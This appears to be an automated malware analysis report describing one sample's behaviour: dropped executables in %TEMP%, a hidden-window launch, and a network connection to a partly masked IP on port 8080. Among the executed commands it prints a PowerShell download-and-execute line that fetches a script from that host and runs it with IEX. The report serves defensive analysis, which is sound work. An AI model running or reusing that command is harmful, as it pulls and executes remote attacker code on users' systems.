Technical Information
Malicious functions
Creates and executes the following (exploit)
- '%TEMP%\catchme\catchme_v10.exe'
Executes the following (exploit)
- '%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 1492
Modifies file system
Creates the following files
- %TEMP%\catchme\catchme_v10.exe
- %TEMP%\1305057.cvr
Network activity
Connects to
- '11#.#70.171.229':8080
Miscellaneous
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $C=New-Object System.Net.WebClient;IEX $C.downloadstring('http://11#.#70.171.229:8080/qYrNHa')
- '%TEMP%\catchme\catchme_v10.exe' ' (with hidden window)
